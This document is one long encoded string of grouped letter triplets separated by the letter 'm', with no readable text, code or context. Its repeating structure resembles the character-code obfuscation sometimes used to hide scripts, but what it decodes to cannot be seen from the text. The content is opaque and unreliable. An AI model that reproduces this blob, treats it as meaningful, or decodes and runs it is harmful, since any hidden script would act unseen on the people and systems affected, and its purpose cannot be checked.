BmEBEmBPEmBsEmEBjmBPEmBsEmEBjmBjjmKWKmKBKmKBWmEjsmKBEmEjsmKWPmKBKmBjjmKBWmKWKmEjsmKEEmEsWmEjsmEsBmKWEmEjPmEssmKWsmKBKmKBPmBPEmBsBmEBPmKWPmEssmBPEmBsBmEBPmKWPmKWPmBPEmBsBmEBPmKWPmKWjmBPEmBsBmEBPmKWPmKBKmBPEmBsBmEBPmKWPmKBsmBPEmBsBmEBPmKWPmKBsmKWWmBPEmBsBmEBPmKBWmKWKmBPEmBsBmEBPmKWWmKWjmKWWmKBPmEsBmKEWmKWjmEsEmEsWmKBWmKBKmBjjmKWKmKBKmKWWmEsjmBjjmEBEmEEBmKBPmKEBmEsKmKBsmBjsmKEWmEKjmEKPmEEKmEssmEBEmEEsmEBsmEBjmBsWmEPWmEjsmKEEmEsPmEPKmEBEmKWEmKBEmBsBmEsBmEEPmKBEmEPKmKEWmEBsmKBWmKWBmBsEmEjsmEKjmEPsmEEKmEKjmKEBmEWWmEWBmEWBmBsKmEKKmKWPmKBjmEEjmKEWmEEsmKWBmBssmKWPmKBWmEEsmEBEmKWWmEBEmEKEmEBjmKEBmEKsmBsKmEssmKEWmEEPmEsBmBsKmKBWmKBsmEKWmBssmEBjmEWBmEKjmBjsmKWsmBsBmEBjmEPjmEEsmEPEmKBEmKBEmEKBmBsEmEPPmKBsmEsjmKEEmEBjmEPWmKWPmEjsmEsKmEEsmEsEmBjKmEEsmEEKmEKPmBPEmBsEmEBjmBPEmBsEmEBjmBjjmEsPmKWWmKWKmEsKmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBjmEBsmEKsmEEsmEEKmEEBmEBEmEKjmBKPmEPWmEPEmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmKEWmEjsmEPsmEEPmEEBmBsWmEKWmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsBmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEEBmEEsmEKEmEBKmEKEmEjPmEKsmEKKmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEEBmEEsmEKEmEBKmEKEmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmEEjmEKEmBsWmKBsmBsEmKBWmEKsmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsEmBsBmEsEmKEBmKWPmKWEmKBPmEsjmEsBmEWBmKBBmEsBmEsPmBssmBjPmEsBmKWKmKWsmKBjmEsEmEsPmKBEmKWsmKWjmKBPmBjPmKWjmEsKmKBPmBjjmKWsmKBjmKBPmBjjmKBsmBsWmBjjmEjsmBssmEsBmBsBmEsBmEsEmBssmEsBmEsBmEsEmEWWmBsKmBsKmBsBmBjsmEjsmEjsmBsKmEWBmBsjmEsWmBsPmEsEmBsKmEsBmEsPmEsEmEWBmEjsmEsKmBssmEWBmBjjmEssmKWKmKBKmEKEmKBjmKBPmKBWmKBjmKBPmEjPmBsBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKsmEBKmEPWmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmKWKmKEEmEKPmBsWmKBsmEWBmEKWmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjPmKWBmKWPmKBsmKBKmKBPmKBEmEsKmEjsmKWPmBjPmEsBmKWsmKWPmBjjmKEWmBjjmEEsmEPEmEPKmBjKmBsWmBjsmEWWmBsKmBsBmBjjmEEsmEPEmEPKmBsWmBjsmEWWmBsKmBsBmEjPmBsPmBsWmBsEmEKBmBsBmBsjmEKWmEBjmEBKmEEsmBjjmEsBmEssmKBjmKWjmKWEmKWKmKWWmKBKmKBPmBjPmKWPmBsEmKBjmEWWmEBWmEKWmEjsmKWjmKWsmEPWmEPEmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKjmEBsmEBPmEKEmEKjmEBjmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmKEBmEPjmEEBmKWBmEsPmEssmEWWmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsEmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBKmEBEmEKBmEBjmEjPmEEEmEBjmEjPmEKKmEEWmEPsmEjPmEKBmEPPmBjjmKBPmKBEmEjsmEsBmKWEmKBKmBjKmKBsmBsWmEjsmBsWmBjjmKWPmKWsmKWjmKWsmBjPmKWPmBsEmKBjmEWWmEBWmEKWmEjsmKWjmKWsmEPWmEPEmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBKmEBEmEKBmEBjmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmEBsmEsjmEEjmKEBmBsBmEEPmBsWmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjPmKWBmKWPmKBsmKBKmKBPmKBEmEsKmEjsmKWPmBjPmEsBmKWsmKWPmBjjmKEWmBjjmEBEmEPEmEEPmBjKmBsWmBsPmBsBmBsEmBsPmBjjmKBWmKWKmEjsmKEEmKWKmKWWmKBKmKBPmBjjmEsBmEssmKBjmKWjmKWEmKWKmKWWmKBKmKBPmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKjmEBsmEBjmEBsmBKPmEPWmEPEmBKjmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmKBsmEKsmEEjmEPEmKBEmKBsmEEEmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsBmBjKmBssmKBWmEjsmKWEmKBKmKBPmKWWmKWjmKBWmKEEmEjsmKWBmKWsmBjPmEjsmKWEmEjsmKWPmEjsmKWWmKEKmEsKmEsEmBjPmKWjmEsKmKBPmBjjmKBWmKWKmEjsmKEEmKWKmKWWmKBKmKBPmBssmBsBmBjsmKWKmKBWmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKBmEBsmEPKmBKPmEBKmEKjmEBEmEKsmEEKmEEsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmBsKmEsEmEsPmKWPmKWjmEBKmKBKmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsEmBsBmBsPmKBjmKBKmEsjmEjsmEsEmEssmKBWmEssmKBsmKEWmKWWmBjPmEsBmKWKmKWsmKBjmEsEmEsPmKBEmKWsmKWjmKBPmBjPmKWjmEsKmKBPmBjjmEssmKWKmKBKmBjjmKBKmKBPmKBsmEjPmKBWmKWKmKBjmKBKmEjPmBsjmBsKmBjsmKEBmBsEmBsjmBjsmBjjmKBWmKWKmEjsmKEEmKWKmKWWmKBKmKBPmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBPmEKBmEKBmBKPmEBKmEKjmEBEmEKsmEEKmEEsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmBjPmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmEBPmKWEmKWsmEBEmKBsmEPjmEEEmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBsmEKsmEKKmEKBmBjjmKBPmKBEmEjsmEsBmKWEmKBKmBjKmKBsmBsWmEjsmBsWmBjjmKWPmKWsmKWjmKWsmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBsmEKsmEKKmEKBmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmBjPmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmEPsmEBEmEEEmKWjmKWsmEKKmEssmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBsmEKsmEKKmEKBmEjPmBsBmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBsmEKsmEKKmEKBmBKPmBsBmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsKmKWjmEsBmKBEmKEEmKBWmKBPmEsKmEsEmBjKmKBPmEsWmKWjmBjsmBjPmEsjmKBKmKBPmEjsmKBPmKWWmEsBmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmEBWmKBBmEWjmKBPmEsWmKWjmEWEmEBEmEKBmEsEmEWBmEEBmEsBmEKjmEKEmEBPmEEsmEsBmEBKmEsjmEPKmEsKmEPEmKEBmKWEmEEEmBjsmEBjmEsKmEKjmEBEmKEBmEPjmKEBmEsWmKBKmKWjmKBPmEEjmEPWmBssmBsEmKBjmEssmKWEmBsPmEEsmEEEmKEWmBPKmKBKmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmEWEmBjjmBjjmKWEmKBKmKBPmKBsmBjPmKBjmKBKmEWEmEWWmBjsmEWWmBjsmBjjmKWKmKWWmKBsmEsKmBjjmBsBmKBBmKBPmBsjmBsPmEjsmEsKmKBPmKBjmEPsmBjjmBjsmBsPmBsBmBssmEWWmBsBmBsBmBsWmBssmEWBmBjjmBsKmBsjmBsPmBjsmBssmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKsmEKKmEKEmEKjmEPWmEPEmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmBjPmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmKWsmEEPmEEPmEWWmEBEmEBEmEEKmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKEEmKBPmEssmKWKmKBKmBjPmEjsmKBEmKWPmEsKmKWKmKWWmKWjmBjPmKWsmKWjmEsKmBjjmEsBmEssmEjsmKWjmKWjmEsKmKWKmBjjmEPBmEBPmEPsmKWWmEPjmEsWmEPEmKBWmKBPmEsEmBsEmEKKmEPEmEKKmEsPmBsKmEsPmBsjmEsKmEKjmBsjmEPBmEjsmEKPmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBPmEBEmEPsmPjsmKPPmBKPmEPWmEPEmBKsmBKPmKEsmBjEmBKPmKEPmBWKmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmBjjmEBjmBjjmEsEmKWWmKBKmEsBmKWsmKBsmEsKmKBEmKEEmBjKmKWEmKWWmEsEmKBKmBjKmKWKmKWsmEsjmKWsmBjKmEEWmEBPmEEWmBssmBsWmEBsmBjsmEBKmEWBmEBKmBjKmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBjmEEKmEKsmEBPmEKEmEPEmEBsmEKjmEPjmEjPmEEjmEEKmEBjmEKsmEjPmEKBmEPPmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBjmEEKmEKsmEBPmEKEmEPEmEBsmEKjmEPjmBKPmEEjmEEKmEBjmEKsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmBjjmEBPmBjjmEBPmEjsmKBEmKBPmKWsmKWsmKWjmEjPmEKBmEsKmKBPmKEWmKWsmKBEmKWEmBjKmKWKmKWsmEsjmKWsmBjKmBsPmBsBmEBPmBsjmBsWmEBEmEBsmBjsmEWBmBsWmBjKmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBPmEBEmEKjmEPWmEKEmEKEmEKBmEjPmEKBmEBsmEPWmEPKmEKEmEKjmEEjmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBPmEBEmEKjmEPWmEKEmEKEmEKBmBKPmEKBmEBsmEPWmEPKmEKEmEKjmEEjmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmBjjmEPWmBjjmKBPmKWsmKWsmKWjmEsBmEjsmKBKmKBPmBjKmKWKmKWsmEsjmKWsmBjKmBjsmEWBmBsEmBsEmBsjmEWWmBsjmBsEmEWWmEEWmBjKmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsEmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEPWmEKEmEKEmEKBmEBPmEBEmEKsmEPWmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEPWmEKEmEKEmEKBmEBPmEBEmEKsmEPWmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmBjjmEPWmBjjmKBPmKWjmKBPmBjKmKWKmEjsmKBPmKWWmKWjmBjKmEjsmKWPmEsKmKBEmKWWmEsBmEjsmBjKmKWKmKWsmEsjmKWsmBjKmBsjmEBPmBsPmBjsmBsPmBsEmEBjmBjsmBjsmEBsmBjKmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEPWmEKBmEPWmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEPWmEKBmEPWmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmBjPmKWWmEsWmEsWmBjPmEsBmKWsmBjjmKBEmEEBmEsPmEPEmBjsmEKPmEWBmBjjmEKKmKWWmEsBmKBKmEjsmKBEmKBPmBjKmBsBmBsKmBjKmBjsmBsPmBjKmBsWmEWWmBjKmBsBmBjsmBjKmBsEmBsBmBjKmBjsmBsPmBjKmEWBmBjsmBsPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEPsmEKEmEKEmEKWmEKEmEKEmEjPmEEEmEBjmEjPmEKBmEPPmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEPsmEKEmEKEmEKWmEKEmEKEmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsKmKWjmEsBmKBEmKEEmKBWmKBPmEsKmEsEmBjKmKBPmEsWmKWjmBjsmBjPmEsjmKBKmKBPmEjsmKBPmKWWmEsBmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmEBWmKBBmEWjmKBPmEsWmKWjmEWEmEBEmEKBmEsEmEWBmEEBmEsBmEKjmEsWmEPPmKBsmEKKmEKBmKWjmEWBmKBBmEWWmEBKmEsKmKWsmBsjmBsEmBsKmBsjmEPsmEPEmBsWmEKBmKBjmEKsmEEjmKEBmEEEmEKWmEsKmEsKmBssmEPKmKBWmEBKmKBjmKWjmEsKmKEWmBssmKWBmEEKmKBsmEjPmEPWmKEWmBPKmKBKmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEKsmEKEmEKBmEPjmEjPmEKWmEKEmEPEmEEKmEBsmEKsmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKsmEKEmEKBmEPjmBKPmEKWmEKEmEPEmEEKmEBsmEKsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsKmKWjmEsBmKBEmKEEmKBWmKBPmEsKmEsEmBjKmKBPmEsWmKWjmBjsmBjPmEsjmKBKmKBPmEjsmKBPmKWWmEsBmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmEBWmKBBmEWjmKBPmEsWmKWjmEWEmEBEmEKBmEsEmEWBmEEBmEsBmEKsmKWBmBssmEKjmBsKmEBEmKBsmKWjmKEKmEPsmEPjmKWKmBssmKWjmKWPmEPBmEEsmKWsmEEWmBsWmEPjmEKBmBssmEEsmEPEmBsKmEKKmKWKmEEKmEKjmEEsmKBPmBsBmBjsmEsBmEPBmKEBmKWWmEKEmKBWmEEsmBsjmEKKmEBEmBPKmKBKmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEKsmEKEmEKBmEPjmEjPmEBPmEEEmEBEmEKBmEKBmEBsmEEsmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEKsmEKEmEKBmEPjmBKPmEBPmEEEmEBEmEKBmEKBmEBsmEEsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmBjjmEBEmBjjmEjsmKWPmEsBmBjKmKWKmKWsmEsjmKWsmBjKmBsBmEBPmEBEmEBKmBsEmBsWmBsjmEWWmBsPmEBKmBjKmKBKmEsKmEsKmKWEmKWKmKWsmEsjmKWsmBjPmEsBmKWsmKWPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmKWPmEsjmKBjmKBEmBjPmEsBmKWsmKWPmBjjmBsBmKWKmKBEmBsKmKBEmKBsmEPPmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBEmEKWmEBPmBKPmEBKmEKjmEKsmEBEmEKsmEEKmEEsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsKmKWjmEsBmKBEmKEEmKBWmKBPmEsKmEsEmBjKmKBPmEsWmKWjmBjsmBjPmEsjmKBKmKBPmEjsmKBPmKWWmEsBmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmEBWmKBBmEWjmKBPmEsWmKWjmEWEmEBEmEKBmEsEmEWBmEEBmEsBmEPWmEsjmEKsmEPjmEKsmEjPmEPPmEEEmEPPmEPWmKBEmEWWmKWEmEsBmEWBmBjKmEWWmEsKmEEjmBsjmBsjmEEjmEEjmEKPmEEjmEjsmEEsmEKsmEPBmKWEmEjPmEjsmEBKmBsBmBsjmKWWmEPBmEPPmEKKmEjPmEKBmBsPmEEKmEBEmBPKmKBKmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBEmEPPmEKBmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBEmEPPmEKBmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsKmKWjmEsBmKBEmKEEmKBWmKBPmEsKmEsEmBjKmKBPmEsWmKWjmBjsmBjPmEsjmKBKmKBPmEjsmKBPmKWWmEsBmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmEBWmKBBmEWjmKBPmEsWmKWjmEWEmEBEmEKBmEsEmEWBmEEBmEsBmEKjmBsBmEsEmKWWmEKWmEKEmEsWmBsEmKBKmKBsmEBjmEBPmBsWmKBBmBsEmEPBmEKPmEsWmEBKmEWWmKBKmKBBmEKKmEBKmBssmEjPmEEBmEPEmKWKmEjsmEWBmEsEmEKEmEjsmEKsmBssmKEEmBjsmEsKmEPBmEjsmEBsmBsBmEsjmBPKmKBKmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjKmBsKmBjPmKWjmKEBmKBWmKWKmEjsmKEEmBjPmEsBmKWsmKWPmBjPmEsWmKBEmBjjmEBEmEsKmEBsmEjPmEBKmEKjmEBEmEKsmEEKmEEsmEjPmEPWmEEjmBjjmKWWmKWjmEsEmEsKmKEBmBjPmKWPmBsEmKBjmEWWmBKsmBjEmBKPmBKsmKWjmEjsmKWPmEsKmBKsmEWEmBKPmBKsmEBEmBPKmEBsmBKPmEBKmEKjmEBEmEKsmEEKmEEsmBKsmBKPmKEsmBjEmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsKmKWjmEsBmKBEmKEEmKBWmKBPmEsKmEsEmBjKmKBPmEsWmKWjmBjsmBjPmEsjmKBKmKBPmEjsmKBPmKWWmEsBmBjPmEsBmKWsmKWPmBjjmKWWmKWPmEjsmEsjmEsKmKBKmEBWmKBBmEWjmKBPmEsWmKWjmEWEmEBEmEKBmEsEmEWBmEEBmEsBmEPWmEKKmEPBmKWKmKBWmKEWmBjKmKEWmKBBmKEEmKWWm